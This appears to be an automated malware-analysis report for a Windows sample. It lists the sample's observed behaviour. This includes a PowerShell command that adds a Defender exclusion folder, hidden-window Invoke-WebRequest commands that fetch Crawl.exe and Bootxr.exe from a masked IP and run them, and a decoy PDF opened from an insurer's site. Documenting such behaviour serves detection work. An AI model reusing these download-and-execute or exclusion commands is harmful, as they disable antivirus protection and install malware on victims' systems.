Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\WinXRAR'
Network activity
TCP
Other
- '34.##9.100.209':443
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2492.5.1465145125\2087853298" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=renderer --alt-high-dpi-setting=96 --disable-direct-npapi-requests --enable-deferred-image-decoding --lang=en-US --enable-proprietary-media-types-playback --extension-process --enable-we...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2492.4.356847240\1364297370" --lang=en-US --no-sandbox --enable-proprietary-media-types-playback /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' --type=utility --channel="2492.4.356847240\1364297370" --lang=en-US --no-sandbox --enable-proprietary-media-types-playback /prefetch:-645351001 /crash-reporter-parent-id=2892
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2492.8.300541680\1106084497" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2492.6.119469178\405650626" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2492.7.1633379667\405864577" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=gpu-process --channel="2492.0.2113842579\761794195" --enable-proprietary-media-types-playback --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,19,42 --gpu-vendor-id=0x0000 --gpu...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2492.9.1245816808\142102043" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=renderer --alt-high-dpi-setting=96 --disable-direct-npapi-requests --enable-deferred-image-decoding --lang=en-US --enable-proprietary-media-types-playback --disable-client-side-phishing-...
- '<SYSTEM32>\cmd.exe' /c C:\WinXRAR\Crawl.exe
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2492.10.1157959142\1314852742" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2492.11.725089543\11477660" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2492.12.1287770685\1611772987" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -noautoupdate --ran-launcher -- https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf /crash-reporter-...
- '<SYSTEM32>\cmd.exe' /c powershell Invoke-WebRequest -Uri http://45.##5.67.168/stelin/Crawl.exe -Outfile C:\WinXRAR\Crawl.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Invoke-WebRequest -Uri http://45.##5.67.168/stelin/Crawl.exe -Outfile C:\WinXRAR\Crawl.exe
- '%ProgramFiles(x86)%\opera\launcher.exe' -noautoupdate -- "https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf"
- '<SYSTEM32>\cmd.exe' /c powershell Invoke-WebRequest -Uri http://45.##5.67.168/stelin/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Invoke-WebRequest -Uri http://45.##5.67.168/stelin/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe
- '<SYSTEM32>\cmd.exe' /c C:\WinXRAR\Bootxr.exe
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' -noautoupdate --ran-launcher -- https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\WinXRAR'' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c C:\WinXRAR\Crawl.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell Invoke-WebRequest -Uri http://45.##5.67.168/stelin/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell Invoke-WebRequest -Uri http://45.##5.67.168/stelin/Crawl.exe -Outfile C:\WinXRAR\Crawl.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c C:\WinXRAR\Bootxr.exe' (with hidden window)
